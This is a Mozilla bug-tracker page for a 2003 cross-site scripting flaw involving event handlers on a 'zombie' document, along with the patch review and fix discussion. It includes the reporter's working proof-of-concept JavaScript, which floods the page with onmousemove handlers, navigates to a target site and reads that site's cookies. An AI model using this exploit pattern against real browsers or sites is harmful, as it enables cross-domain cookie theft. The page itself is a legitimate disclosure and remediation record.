Closed Bug 227417 Opened 21 years ago Closed 21 years ago

Cross-domain exploit on zombie document with event handlers

Categories

(Core :: DOM: Events, defect)

defect
Not set
critical

Tracking

()

RESOLVED FIXED

People

(Reporter: jst, Assigned: jst)

Details

(Keywords: fixed1.4.2, Whiteboard: [sg:fix])

Attachments

(2 files)

From sandblad@acc.umu.se (Andreas Sandblad), through security@mozilla.org:

PRIVATE SECURITY REPORT
-------------------------------------------------
Product: Mozilla browser
Tested:  Mozilla 1.5, Mozilla 1.2
Date:    2003-12-02
Issue:   Cross site scripting
Author:  Andreas Sandblad, sandblad@acc.umu.se
-------------------------------------------------

Summary:
========
When linking to a new page it is still possible to interact with the old
page before the new page has been successfully loaded. Any javascript
events fired will be invoked in the context of the new page, making cross
site scripting possible if the different pages belong to different
domains.


Details:
========
If you follow a link to another page there will always be some delay until
the new page is shown in the browser. The problem is that before the new page
has been displayed but after the browser has
set the new page as the current URL, it is still possible to interact with
the old page. Any javascript triggered will be operating in the domain of
the new page, regardless of the domain of the old page.

Mozilla has several security checks to prevent cross site scripting,
making actual exploitation a bit tricky. Before Mozilla switches to a new
URL it tries to remove any current running javascript, timers and event
handlers. The problem is that because the old page is still displayed
after the URL switch, it is possible to trigger certain tag events that
Mozilla failed to remove.


Exploit:
========
Our current document is filled with a lot of tables with height 1
containing onmousemove events. When mouse is initially moved over the
document we link to our target document and wait for Mozilla to switch to
the new URL. If mouse is moved after the switch our injected javascript
will be operating in the context of the new URL. Together with a very
limited amount of user interaction we can achieve a cross site scripting
attack.

Put the following code in a script tag and upload it to a remove server.
Make sure you got a cookie stored in the domain of the target. View the
html document containing the script in Mozilla and move the mouse over the
document to activate the exploit.
---------------- BEGIN ---------------------
// Andreas Sandblad
// 2003-11-24
// Mozilla - Cross site scripting

// Target URL (some network delay needed)
var target = "http://www.yahoo.com/";

// Write out a lot of onmousemove events
var block = true;
for (i = 0; i < 1000; i++)
  document.write('<table width=100% height=1 border=0><tr>'
    +'<td onmousemove="try {block;} catch(e) {'+payload+';payload();}">'
    +'<spacer type=block height=1></</td></tr></table>');
document.close();

// Called first time mouse is moved over document
function trigger() {
  document.onmousemove = null;
  location = target;
}
document.onmousemove = trigger;

// If block not definied then call payload
function payload() {
  try {
    block;
  } catch(e) {
    document.body.innerHTML=document.cookie;
    alert(document.cookie);
  }
}
---------------- END -----------------------
Status: NEW → ASSIGNED
Flags: blocking1.6b?
Flags: blocking1.6?
Flags: blocking1.4.2?
Attachment #136762 - Flags: superreview?(brendan)
Attachment #136762 - Flags: review?(caillon)
Attachment #136762 - Flags: approval1.6b?
Attachment #136762 - Flags: approval1.4.2?
Let's fix this now, for 1.6b.  Cc'ing mkaply for 1.4.2.

/be
Flags: blocking1.6b?
Flags: blocking1.6b+
Flags: blocking1.6?
Flags: blocking1.4.2?
Flags: blocking1.4.2+
Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

>+    // If the content node doesn't have a document, it's either a node
>+    // that's not yet in a document, or the node is part of a document
>+    // that's being torn down. In the latter case it's important to
>+    // *not* use globalObj as the nodes parent since that would give
>+    // the node the principal of globalObj (i.e. the principal of the
>+    // document that's being loaded) and not the principal of the
>+    // document where the node originated from.

How about "of the document that's being unloaded."

>        So when there's no
>+    // document in

"for", not "in"?

	 the node, try to reach the original document
>+    // through the node's nodeinfo, or through the nodeinfo in the
>+    // node's parent (in case the node is a text node).
>+    //
>+    // nsIDOMNode::GetOwnerDocument() should do all of this for us,
>+    // but it doesn't yet, so until it does, we'll need to do this by
>+    // hand...

XXX comment if ever I read one.

Is there a bug on file already about how we shouldn't have this zombie state
between docs?  If not, please file one.  sr=me with comment nits picked.

/be
Attachment #136762 - Flags: superreview?(brendan) → superreview+
Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

Is there a bug filed on fixing GetOwnerDocument?  That seems like a good thing
to do...
Attachment #136762 - Flags: approval1.6b?
Attachment #136762 - Flags: approval1.6b+
Attachment #136762 - Flags: approval1.4.2?
Attachment #136762 - Flags: approval1.4.2+
Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

>Index: dom/src/base/nsDOMClassInfo.cpp

>-    node->GetOwnerDocument(getter_AddRefs(owner_doc));
>+    // If the content node doesn't have a document, it's either a node
>+    // that's not yet in a document, or the node is part of a document
>+    // that's being torn down. In the latter case it's important to
>+    // *not* use globalObj as the nodes parent since that would give
>+    // the node the principal of globalObj (i.e. the principal of the
>+    // document that's being loaded) and not the principal of the
>+    // document where the node originated from. So when there's no
>+    // document in the node, try to reach the original document
>+    // through the node's nodeinfo, or through the nodeinfo in the
>+    // node's parent (in case the node is a text node).

Could you reference this bug number in the comment here?  Also, maybe turn the
following bit about GetOwnerDocument into an XXX comment since it's really
something that should be changed at some future date.

>+    //
>+    // nsIDOMNode::GetOwnerDocument() should do all of this for us,
>+    // but it doesn't yet, so until it does, we'll need to do this by
>+    // hand...


The change here makes a lot of sense, so r=caillon if this works.
Attachment #136762 - Flags: review?(caillon)
Attachment #136762 - Flags: review+
Attachment #136762 - Flags: approval1.6b?
Attachment #136762 - Flags: approval1.6b+
Attachment #136762 - Flags: approval1.4.2?
Attachment #136762 - Flags: approval1.4.2+
Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

Oops.  Approvals got clobbered.  Re-setting.
Attachment #136762 - Flags: approval1.6b?
Attachment #136762 - Flags: approval1.6b+
Attachment #136762 - Flags: approval1.4.2?
Attachment #136762 - Flags: approval1.4.2+
dbaron, the bug about ownerDocument not working right is bug 27382.
Fix checked in on the trunk, and 1.4.2 (thanks to dbaron).
Status: ASSIGNED → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
This is a security sensitive bug, so referencing it in the comment in the code
means that a number of facts about this bug are disclosed in advance of the bug
being opened up.

/be
Brendan, that point does not really hold weight if the cvs commit comment
references the bug number (it does, and generally is the case even for security
sensitive bugs -- should this behavior be changed?) since the same information
can be deduced from that.
I've checked in refs to restricted bugs myself, and mentioned them in the
checkin comment.  No big deal, just wanted to mention it (dveditz pointed my
doing so out and I thought in hindsight that I'd have done differently; so I
wanted to see how others felt -- it's just a bit more consistent with the
restricted-bug policy, it seems to me).

/be
> Is there a bug on file already about how we shouldn't have this zombie state
> between docs?

Bug 76495.
Keywords: fixed1.4.2
Opening up bug now that it's fixed on all relevant branches.
Group: security
Which versions of the Mozilla are immune to this bug? The versions 1.6b and 1.7a
are immune?
Yes, both of those versions (and everything newer than those too) are immune. So
is 1.4.2 and newer 1.4 builds.
Whiteboard: [sg:fix]
Flags: in-testsuite?
Flags: in-testsuite? → in-testsuite-
You need to log in before you can comment on or make changes to this bug.